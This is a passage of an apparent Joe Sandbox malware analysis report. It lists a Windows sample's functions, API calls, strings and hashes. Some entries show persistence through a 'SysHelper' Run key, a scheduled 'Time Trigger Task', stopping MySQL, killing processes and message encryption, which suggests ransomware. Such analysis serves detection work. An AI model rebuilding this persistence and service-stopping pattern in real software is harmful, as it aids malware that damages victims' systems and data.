, xrefs: 00463A90

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 17d3c2619d013419f6fb4dbcd9dc3d5229f96e394bca3e5d2eaf771417ff5058
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 17d3c2619d013419f6fb4dbcd9dc3d5229f96e394bca3e5d2eaf771417ff5058
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(0061BEC0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 86168fff8a2eaa4a3829cfd610c13faf090a62fb5c293827f2bfd80631fc3520
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 86168fff8a2eaa4a3829cfd610c13faf090a62fb5c293827f2bfd80631fc3520
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: d6b150dd05ea3784faa9023a41b87bdf0630902a3be6ffe264aa44009a4d2021
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: d6b150dd05ea3784faa9023a41b87bdf0630902a3be6ffe264aa44009a4d2021
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
Proc-Type: , xrefs: 0046337C

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

